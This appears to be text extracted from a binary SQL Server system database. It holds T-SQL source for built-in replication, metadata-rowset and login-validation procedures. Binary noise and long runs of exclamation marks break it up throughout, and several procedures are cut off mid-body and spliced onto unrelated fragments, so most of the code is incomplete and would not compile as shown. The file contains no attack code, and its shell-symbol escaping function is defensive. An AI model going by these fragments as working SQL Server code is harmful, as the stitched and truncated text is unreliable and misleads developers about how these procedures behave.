    updatetext #ntextworktable.scriptText @textptr null null @q203
    updatetext #ntextworktable.scriptText @textptr null null @q204
    updatetext #ntextworktable.scriptText @textptr null null @q205
    updatetext #ntextworktable.scriptText @textptr null null @q206
    updatetext #ntextworktable.scriptText @textptr null null @q207
    updatetext #ntextworktable.scriptText @textptr null null @q208
    updatetext #ntextworktable.scriptText @textptr null null @q209
    updatetext #ntextworktable.scriptText @textptr null null @q210
    updatetext #ntextworktable.scriptText @textptr null null @q211
    updatetext #ntextworktable.scriptText @textptr null null @q212
    updatetext #ntextworktable.scriptText @textptr null null @q213
    updatetext #ntextworktable.scriptText @textptr null null @q214
    updatetext #ntextworktable.scriptText @textptr null null @q215
    updatetext #ntextworktable.scriptText @textptr null null @q216
    updatetext #ntextworktable.scriptText @textptr null null @q217
    updatetext #ntextworktable.scriptText @textptr null null @q218
    updatetext #ntextworktable.scriptText @textptr null null @q219
    updatetext #ntextworktable.scriptText @textptr null null @q220
    updatetext #ntextworktable.scriptText @textptr null null @q221
    updatetext #ntextworktable.scriptText @textptr null null @q222
    updatetext #ntextworktable.scriptText @textptr null null @q223
    updatetext #ntextworktable.scriptText @textptr null null @q224
    updatetext #ntextworktable.scriptText @textptr null null @q225
    updatetext #ntextworktable.scriptText @textptr null null @q226
    updatetext #ntextworktable.scriptText @textptr null null @q227
    updatetext #ntextworktable.scriptText @textptr null null @q228
    updatetext #ntextworktable.scriptText @textptr null null @q229
    updatetext #ntextworktable.scriptText @textptr null null @q230
    updatetext #ntextworktable.scriptText @textptr null null @q231
    updatetext #ntextworktable.scriptText @textptr null null @q232
    updatetext #ntextworktable.scriptText @textptr null null @q233
    updatetext #ntextworktable.scriptText @textptr null null @q234
    updatetext #ntextworktable.scriptText @textptr null null @q235
    updatetext #ntextworktable.scriptText @textptr null null @q236
    updatetext #ntextworktable.scriptText @textptr null null @q237
    updatetext #ntextworktable.scriptText @textptr null null @q238
    updatetext #ntextworktable.scriptText @textptr null null @q239
    updatetext #ntextworktable.scriptText @textptr null null @q240
    updatetext #ntextworktable.scriptText @textptr null null @q241
    updatetext #ntextworktable.scriptText @textptr null null @q242
    updatetext #ntextworktable.scriptText @textptr null null @q243
    updatetext #ntextworktable.scriptText @textptr null null @q244
    updatetext #ntextworktable.scriptText @textptr null null @q245
    updatetext #ntextworktable.scriptText @textptr null null @q246
    updatetext #ntextworktable.scriptText @textptr null null @q247
    updatetext #ntextworktable.scriptText @textptr null null @q248
    updatetext #ntextworktable.scriptText @textptr null null @q249
    updatetext #ntextworktable.scriptText @textptr null null @q250
    updatetext #ntextworktable.scriptText @textptr null null @qValue
    updatetext #ntextworktable.scriptText @textptr null null @residueText

    -- The #MSrepl_exec_script temp table containing the result
    -- set to be executed is already created in sp_execresultset

    declare hScriptFragment cursor local fast_forward for
        select isnull(scriptText, N'') 
          from #MSrepl_exec_script
         where orderCol > @rowIndex
      order by orderCol asc

    open hScriptFragment
    fetch hScriptFragment into @scriptFragment

    while (@@fetch_status<>-1)
    begin
        updatetext #ntextworktable.scriptText @textptr null null N' '
        updatetext #ntextworktable.scriptText @textptr null null @scriptFragment
        fetch hScriptFragment into @scriptFragment
    end
    close hScriptFragment
    deallocate hScriptFragment

    select @scriptText = convert(nvarchar(max), scriptText) from #ntextworktable
    
    if @debug = 0
    begin
        
		exec(@scriptText)
		if @@error <> 0
		begin
	        goto Error
	    end
	end
    else
    begin
		-- print out debug info
		
		select !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`#<txd[/0=' 8create procedure sys.sp_validatelogins
AS
	-- Must be securityadmin (or sysadmin) to execute
	if is_srvrolemember('securityadmin') = 0 and is_srvrolemember('sysadmin') = 0
	begin
		raiserror(15247,-1,-1)
		return 1
	end

	-- Use get_sid() to determine if nt name is still valid (builtin is only available from system procs!)
	select 'SID' = sid, 'NT Login' = loginname from master.dbo.syslogins
		where isntname = 1 and get_sid(loginname) is null
	return 0 -- sp_validatelogins
0;@ 8create procedure sys.sp_user_counter8 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 8', @newvalue)
06Q 8create procedure sys.sp_MSinit_subscription_agent
    @publisher      sysname,                    -- publishing server name
    @publisher_db   sysname,                    -- publishing database name. If NULL then same as current db
    @publication    sysname,                    -- publication name,
    @subscription_type int
AS
    set nocount on
    declare @retcode int
    declare @login_time datetime

    --  Security Check
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
    RETURN(1)

    -- For non independent agent publications
    if @publication is null or @publication = ''
        set @publication = 'ALL'

        select @login_time = login_time from sys.sysprocesses where spid = @@spid

    if not exists (select * from MSsubscription_agents where
            UPPER(publisher) = UPPER(@publisher)
            and publisher_db =  @publisher_db
            and publication = @publication
            and subscription_type = @subscription_type)
    begin
        INSERT INTO MSsubscription_agents
            (publisher, publisher_db, publication, subscription_type,
             queue_id, update_mode, failover_mode, spid, login_time )
        values (UPPER(@publisher), @publisher_db, @publication, @subscription_type, 
            null, 1, 0, @@spid, @login_time)
    end
    else
    begin
        -- It is possible that 2 instance of the distribution agent do this update at 
        -- the same time. One will fail later at the instance check at the distributor
        -- side. We no longer use the spid and login_time column anywhere else. 
        update MSsubscription_agents set      
            spid = @@spid,
            login_time = @login_time
            where UPPER(publisher) = UPPER(@publisher)
                and publisher_db =  @publisher_db
                and publication = @publication
                and subscription_type = @subscription_type
    end
0&A@ 8create procedure sys.sp_MSsetcontext_merge_identityrangeddlbit @onoff bit -- 1 to turn on
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_first_byte binary(1)
    declare @bitmask tinyint

    -- bit to set: snapshot=1, logreader=2, distrib=4, merge=8, 
    -- replication_agent=16, merge_identityrange_alterconstraint=32
    if @onoff=1
        set @bitmask=32
    else
        set @bitmask=255-32

    -- get the current context_info. remember we only want to modify a bit without changing the rest of the info
    select @cur_context = isnull(context_info(),0x00)

    -- get the first byte out. the replication agent flags are set in the first byte.
    select @cur_context_first_byte = substring(@cur_context, 1, 1)
    -- set the appropriate bit in this one byte (leaving other bits unchanged).
    if @onoff=1
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) | @bitmask)
    else
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) & @bitmask)
        
    -- replace the first byte of the 128 byte binary variable, so that now it has the appropriate bit set.
    select @cur_context = convert(varbinary(128),stuff (@cur_context, 1, 1, @cur_context_first_byte))
    -- set the context_info again with the new binary(128) value.
    set context_info @cur_context

    if @@error <> 0
        return 1
        
    return 0
end
0G2 h8Y7/h]>^8^_}`Ȑa0.@ 8create procedure sys.sp_MSdelgenzero
as
    return 0	-- this proc is a no-op in Yukon. Leaving the proc around since down-level agents call it.
).SetSeverity(Severity = @severity)
				EXEC %%ErrorMessage(ID = @msgnum).SetEventLog(EventLog = @islog)
			end
		end
		else
		begin
			COMMIT TRANSACTION
			-- The 'replace' option wasn't specified and a msg. with the number already exists.
			raiserror(15043,-1,-1)
			return(1)
		end
	end
	else
	begin
		-- initialize us_english version
		if @langid = 0
			EXEC %%ErrorMessage().NewError(ID = @msgnum, Severity = @severity, EventLog = @islog)
	end

	-- set default for islog if not set for trigger firing purposes
	if @with_log is null
	begin
		set @with_log = 'FALSE'
	end

	declare @msg_str nvarchar(50)
	set @msg_str = @msgnum

	-- Update/replace the message
	EXEC %%ErrorMessage(ID = @msgnum).NewMessage(LanguageID = @msglangid, Description = @msgtext)

	-- EMDEventType(x_eet_Create_Message), EMDUniversalClass( x_eunc_Type), src major id, src minor id, src name
	-- -1 means ignore target stuff, target major id, target minor id, target name,
	-- # of parameters, 5 parameters
	EXEC %%System().FireTrigger(ID = 227, ID = 106, ID = @msgnum, ID = 0, Value = @msg_str,
		ID = -1, ID = 0, ID = 0, Value = NULL, 
		ID = 6, Value = @msgnum, Value = @severity, Value = @msgtext, Value = @lang, Value = @with_log, Value = @replace, Value = NULL)

	COMMIT TRANSACTION

	return (0) -- sp_addmessage
0n6Y 8create procedure sys.sp_MSunmarkreplinfo(
    @object                sysname,            /* Name of the table, unqualitied */
    @owner                sysname = NULL,            /* Name of the owner, unqualified */
    @type                smallint = 0        /* default is to unmark, as name implies */
)AS
    declare @id    int
    declare @qualified_name            nvarchar(517)
    declare @retcode                int

    exec @retcode = sys.sp_MSreplcheck_subscribe_withddladmin
    if @@error<>0 or @retcode<>0
        return (1)

    if @owner is NULL or @owner=''
        select @owner = schema_name(schema_id) from sys.objects where name=@object
    select @qualified_name = QUOTENAME(@owner) + '.' + QUOTENAME(@object) 

    if object_id(@qualified_name, 'U') is NULL
        return 0

    BEGIN TRANSACTION
    select @id = object_id(@qualified_name)
    if not (@id is null)
    begin
        EXEC %%Object(MultiName = @qualified_name).LockMatchID(ID = @id, Exclusive = 1, BindInternal = 0)
--EXEC %%Object(MultiName = @qualified_name).LockExclusiveMatchID(ID = @id)
        if @@error <> 0
            select @id = null
    end

    if not (@id is null)
    begin
        if @type = 0    /* type = 0, unmark; else mark the bit */
            EXEC %%Relation(ID = @id).SetMergePublished(Value = 0, SetColumns = 1)
        else
            EXEC %%Relation(ID = @id).SetMergePublished(Value = 1, SetColumns = 1)
    end
    COMMIT TRANSACTION
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!/`<y0YN 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_table_constraints_rowset;2
(
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @constraint_name    sysname = null,
    @constraint_schema  sysname = null,
    @constraint_catalog sysname = null,
    @constraint_type    nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        CONSTRAINT_CATALOG  = db_name(),
        CONSTRAINT_SCHEMA   = schema_name(o.schema_id),
        CONSTRAINT_NAME     = o.name,
        TABLE_CATALOG       = db_name(),
        TABLE_SCHEMA        = schema_name(t_obj.schema_id),
        TABLE_NAME          = t_obj.name,
--        CONSTRAINT_TYPE     = case (syscon.status & 0xf)
        CONSTRAINT_TYPE     = case syscon.type
--                                when 1 then N'PRIMARY KEY'
                                when 'PK' then N'PRIMARY KEY'
--                                when 2 then N'UNIQUE'
                                when 'UQ' then N'UNIQUE'
--                                when 3 then N'FOREIGN KEY'
                                when 'F' then N'FOREIGN KEY'
--                                when 4 then N'CHECK'
                                when 'C' then N'CHECK'
                                else null
                              end,
        IS_DEFERRABLE       = convert(bit, 0),
        INITIALLY_DEFERRED  = convert(bit, 0),
        DESCRIPTION         = convert(nvarchar(1), null)

    from
        sys.all_objects o,
        sys.all_objects t_obj,
--        sysconstraints syscon
        sys.all_objects syscon
    where
        t_obj.type in ('U','S') and
        (@table_catalog is null or @table_catalog = db_name()) and
        (@table_schema is null or @table_schema = schema_name(t_obj.schema_id)) and
        syscon.parent_object_id = t_obj.object_id and
        (syscon.type in ('PK', 'UQ', 'F', 'C')) and
        o.object_id    = syscon.object_id and
        o.schema_id = schema_id() and
        (@constraint_name is null or o.name = @constraint_name) and
        (@constraint_catalog is null or @constraint_catalog = db_name()) and
        (@constraint_schema is null or @constraint_schema = schema_name(o.schema_id)) and
        (@constraint_type is null or
         syscon.type = case @constraint_type
                       when N'PRIMARY KEY' then 'PK'
                       when N'UNIQUE' then 'UQ'
                       when N'FOREIGN KEY' then 'F'
                       when N'CHECK' then 'C'
                       end)
    order by 2,3,5,6,7
0G= 08create procedure sys.sp_MSrequestreenumeration_lightweight
						@tablenick int,
						@rowguid uniqueidentifier
						
as
	declare @retcode int
	declare @err int
	declare @rc int
	declare @METADATA_ACTION_ForceReenumeration tinyint

	set @METADATA_ACTION_ForceReenumeration= 5

	-- security check
    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0 return 1

	update dbo.MSmerge_metadataaction_request
		set action= @METADATA_ACTION_ForceReenumeration,
			generation=null,
			changed= sys.fn_MSdayasnumber(getdate())
		where tablenick=@tablenick and rowguid=@rowguid

	select @err= @@error, @rc=@@rowcount
	if @err<>0 return 1
	if @rc>0 return 0

	insert into dbo.MSmerge_metadataaction_request
						(tablenick,
						 rowguid,
						 action,
						 generation,
						 changed)
					values
						(@tablenick,
						 @rowguid,
						 @METADATA_ACTION_ForceReenumeration,
						 null,
						 sys.fn_MSdayasnumber(getdate()))
						 
	if @err<>0 return 1
	return 0

    begin
        RAISERROR(14043, 16, -1, '@guidsrc', 'sp_MSinsertgenhistory')
        return (1)
    end
    
    --select @GENSTATUS_MERGE_INSERTED_OPEN = 4

    -- having the login time in dbo.MSmerge_genhistory allows to associate the row with the merge process that inserted the row
    select @dt = login_time, @application_name = program_name from sys.dm_exec_sessions where session_id = @@spid

    select @subscriber_number = subscriber_number from dbo.sysmergesubscriptions where application_name = @application_name collate database_default
    -- the following will be the case if this is a down level anonymous subscriber. We will give a number of -1 to all such subscribers
    -- a number of 0 is used to indicate locally inserted generations
    if @subscriber_number is NULL
        select @subscriber_number = -1
        
    -- Check for older in process generation
    select @gen = max(generation) from dbo.MSmerge_genhistory where guidsrc = @guidsrc
    if @gen is not null
    begin
        -- this generation was interrupted at a previous merge
        -- next statement makes sure that gen does no longer look interrupted to another process
        update dbo.MSmerge_genhistory set coldate= @dt, genstatus=4, subscriber_number = @subscriber_number where guidsrc = @guidsrc

        -- if @@rowcount = 0, another process removed the interrupted gen just before the previous update statement
        if @@rowcount > 0
        begin
            return (0)
        end
    end

    exec sys.sp_MSgetreplnick @replnick = @replnick out
    if @@ERROR<>0 return (1)

    -- add a guard byte
    set @default_nicknames= @replnick + 0xFF

    if @compatlevel < 90
        set @nicknames = ISNULL({fn REPLNICKARRAY_80_TO_90(@nicknames)},@default_nicknames)

    declare @replnicklength int
    set @replnicklength= col_length('sysmergesubscriptions', 'replnickname')

    set @offset = DATALENGTH(@nicknames)
    if substring(@nicknames, @offset, 1) <> 0xFF
    begin
        set @nicknames = @nicknames + 0xFF
    end
    
    set @newnicks = @nicknames
    
    set @offset = 1
    while @offset < DATALENGTH(@nicknames)
    begin
        -- If the subscriber nickname is already in the list just return
        if substring(@nicknames, @offset, @replnicklength) = @replnick
            goto InsertGenHistory
        set @offset = @offset + @replnicklength
    end
    -- My nickname is not in the array.  Add it so that we won't send this gen back down in the return message.  
    -- Append guard byte
    if @nicknames = 0x0
        set @newnicks = @replnick + 0xFF
    else
    begin
        set @newnicks = @replnick + @nicknames
    end
        
InsertGenHistory:
   insert into dbo.MSmerge_genhistory with (rowlock)
    (guidsrc, pubid, genstatus, art_nick, nicknames, coldate, subscriber_number) 
        values (@guidsrc, @pubid_ins, 4, @artnick,@newnicks, @dt, @subscriber_number)

    if @@error<>0 goto Failure
    select @gen = @@identity
        
    return (0)
Failure:
    RAISERROR(15001, 16, -1, 'MSmerge_genhistory')
    return (1)
ec sys.sp_hadr_drop_linked_server @publisher_linked_server
                raiserror (21879, 16, -1, @redirected_publisher, @original_publisher, @publisher_db,
                    @original_error_number, @original_error_message)
                return 1
            end
            
            -- Wait 10 seconds and retry
            WAITFOR DELAY '00:00:10'
                     
        end catch
    end
    
    if @retcode <> 0
    begin
        raiserror(21885, 16, -1, @retcode)
    end
        
    if @target_server is null
    begin
        raiserror(21886, 16, -1)
    end    
  
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|
zh`<z$#0j 8
create procedure sys.sp_indexes_90_rowset_rmt
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @index_name         sysname = null,
    @table_schema       sysname = null
)
as
    select
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        INDEX_CATALOG,
        INDEX_SCHEMA,
        INDEX_NAME,
        PRIMARY_KEY,
        [UNIQUE],
        [CLUSTERED],
        [TYPE],
        FILL_FACTOR,
        INITIAL_SIZE,
        NULLS,
        SORT_BOOKMARKS,
        AUTO_UPDATE,
        NULL_COLLATION,
        ORDINAL_POSITION,
        COLUMN_NAME,
        COLUMN_GUID,
        COLUMN_PROPID,
        [COLLATION],
        CARDINALITY,
        PAGES,
        FILTER_CONDITION,
        INTEGRATED = null,  -- ISSUE these 3 columns must be exported by the server
                            -- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
                            -- const SCHEMA_COLUMNS xCol_INDEXES = {
        STATUS = 0          -- ISSUE - to be changed to FT_KEY (type BIT)

    from
         sys.fn_remote_indexes (
                @table_server,
                @table_catalog,
                @table_schema,
                @index_name,
                null,           -- TYPE (index type)
                @table_name )
    order by 8 desc, 4, 5, 6, 17
09n 8create procedure sys.sp_MSenum_replsqlqueues
(
    @curdistdb    sysname = NULL
)
as
begin
    declare @distbit int
    declare @db_name sysname
    declare @cmd nvarchar(1024)

    select @distbit = 16

    --
    -- create the temp table to store the relevant information
    --
    create table #replqueue (
        publisher sysname collate database_default not null,
        publisher_db sysname collate database_default not null,
        subscriber sysname collate database_default not null,
        subscriber_db sysname collate database_default not null,
        publication sysname collate database_default not null,
        dist_db sysname collate database_default not null
    )
    create unique index ucreplqueue ON #replqueue (subscriber, subscriber_db, publication)

    --
    -- Has the user specified a distribution database
    --
    if (@curdistdb is NULL)
    begin
        --
        -- Go through all the distribution databases
        --
        declare hCdatabase CURSOR LOCAL FAST_FORWARD FOR 
            select name from master.dbo.sysdatabases 
            where
                category & @distbit <> 0 and
                has_dbaccess(name) = 1
            for read only
    end
    else
    begin
        --
        -- User specified Distribution Database
        -- Validate the user specified name
        --
        if exists (select name from master.dbo.sysdatabases 
        where
            name = @curdistdb and
            category & @distbit <> 0 and
            has_dbaccess(name) = 1)
        begin
            declare hCdatabase CURSOR LOCAL FAST_FORWARD FOR
            select @curdistdb
            for read only
        end
        else
        begin
            --
            -- Error : Invalid distribution db specified
            --
            raiserror(20587, 16, 3, N'@curdistdb', N'sp_MSenum_replsqlqueues')
            return 1
        end
    end
    
    --
    -- Enumerate
    --
    open hCdatabase
    fetch next from hCdatabase into @db_name
    while (@@fetch_status <> -1)
    begin
        select @cmd =
        'SET NOCOUNT ON ' +
        'INSERT INTO #replqueue (publisher, publisher_db, subscriber, subscriber_db, publication, dist_db) ' +
        'SELECT c.srvname, a.publisher_db, b.srvname, a.subscriber_db, a.publication, N' + QUOTENAME(@db_name, N'''') + ' ' +
        'FROM ' + QUOTENAME(@db_name) + '.dbo.MSdistribution_agents as a ' +
            'JOIN master.dbo.sysservers as b ' +
            'ON a.subscriber_id = b.srvid ' +
            'JOIN master.dbo.sysservers as c ' + 
            'ON a.publisher_id = c.srvid ' + 
            'WHERE queue_id = N''mssqlqueue'' '
            
        exec (@cmd)
        fetch next from hCdatabase into @db_name
    end
    close hCdatabase
    deallocate hCdatabase

    --
    -- select the contents of the temp table
    --
    select * from #replqueue

    --
    -- cleanup
    --
    drop table #replqueue
end
le.
--       2) The character '%' is escaped to prevent any inadvertent (or 
--       malicious) shell variable expansion.
--          
-- Security: This is a public interface object.
--
create function sys.fn_escapecmdshellsymbols(
    @command_string nvarchar(4000)
    ) returns nvarchar(4000)
as
begin
    declare @escaped_command_string nvarchar(4000),
            @curr_char nvarchar(1),
            @curr_char_index int    
    select @escaped_command_string = N'',
           @curr_char = N'', 
           @curr_char_index = 1
    while @curr_char_index <= len(@command_string)
    begin
        select @curr_char = substring(@command_string, @curr_char_index, 1) 
        if @curr_char in (N'%', N'<', N'>', N'|', N'&', N'^', N'"')
        begin
            select @escaped_command_string = @escaped_command_string + N'^'
        end
        select @escaped_command_string = @escaped_command_string + @curr_char
        select @curr_char_index = @curr_char_index + 1 
    end
    return @escaped_command_string
end
0dV 8--
-- Name: fn_replgetsqlserverregkey
-- 
-- Description: This functions retrieves the root of the version specific 
--              registry hive for the current instance of SQL Server
-- Parameter:   (none)
--
-- Notes: Trailing \ is included in the return value.
--
-- Returns: nvarchar(260)
--
-- Security: Execute permission of this function is granted to public
-- 
create function sys.fn_replgetsqlserverregkey() returns nvarchar(260)
as
begin 
    declare @regkey       nvarchar(260)
    declare @len_minorversion tinyint

    select @len_minorversion = 1
  
    select @regkey = N'SOFTWARE\Microsoft\Microsoft SQL Server\' + sys.fn_MSsharedversion(@len_minorversion) collate database_default + N'\'
    return @regkey
end
0?: D8Ph-M1.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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procedure sys.sp_tables_info_rowset_64
(
    @table_name     sysname,
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 21), --DBTYPE_UI8
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 8),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID
    from
        sys.spt_tables_info_view s_tiv
    where
        (
            (@table_schema is null and s_tiv.TABLE_NAME = @table_name) or
            object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = s_tiv.object_id
        ) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
0 #8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_tables_info_rowset_64;2
(
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 21), --DBTYPE_UI8
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 8),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID
    from
        sys.spt_tables_info_view s_tiv
    where
        (@table_schema is null or schema_id(@table_schema) = s_tiv.schema_id) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
0@ 8CREATE PROCEDURE sys.sp_populateqtraninfo 
as
begin
    --
    -- initiate local transaction
    --
    begin tran sp_populateqtraninfo
    save tran sp_populateqtraninfo
    --
    -- see if we need to populate
    --
    if EXISTS (SELECT * FROM dbo.MSreplication_queue)
    begin
        --
        -- There is data in queue
        -- Populate MSrepl_queuedtraninfo based on what is there
        --
        declare @publisher sysname
                ,@publisherdb sysname
                ,@publication sysname
                ,@tranid sysname
                ,@orderkey bigint
                ,@commandcount bigint
                
        declare #htctranseq cursor local for
            select publisher, publisher_db, publication, tranid, orderkey
            from dbo.MSreplication_queue with (READPAST) 
            order by orderkey asc
        open #htctranseq
        fetch #htctranseq into @publisher, @publisherdb, @publication, @tranid, @orderkey
        IF @@ERROR <> 0
            goto cleanup
        while (@@fetch_status != -1)
        begin
            --
            -- update/insert entry in MSrepl_queuedtraninfo for this transaction
            --                
            if exists (select *
                from dbo.MSrepl_queuedtraninfo
                where publisher = UPPER(@publisher) 
                    and publisher_db = @publisherdb 
                    and publication = @publication
                    and tranid = @tranid)
            begin
                --
                -- row for this transaction exists - update it
                --
                update dbo.MSrepl_queuedtraninfo
                set maxorderkey = @orderkey
                    ,commandcount = commandcount + 1
                where publisher = UPPER(@publisher) 
                    and publisher_db = @publisherdb 
                    and publication = @publication
                    and tranid = @tranid
            end
            else
            begin
                --
                -- row for this transaction does not exist - insert it
                --
                insert into dbo.MSrepl_queuedtraninfo (publisher,publisher_db,publication,tranid,maxorderkey,commandcount)
                values (UPPER(@publisher),@publisherdb,@publication,@tranid,@orderkey,1)
            end
            IF @@ERROR <> 0
                goto cleanup
            --
            -- get the next row
            --
            fetch #htctranseq into @publisher, @publisherdb, @publication, @tranid, @orderkey
        end
        close #htctranseq
        deallocate #htctranseq
    end
    --
    -- commit local transaction
    --
    commit tran sp_populateqtraninfo
    --
    -- all done
    --
    return 0

cleanup:
    --
    -- error cleanup
    -- rollback local tran
    --
    rollback tran sp_populateqtraninfo
    commit tran
    return 1
end
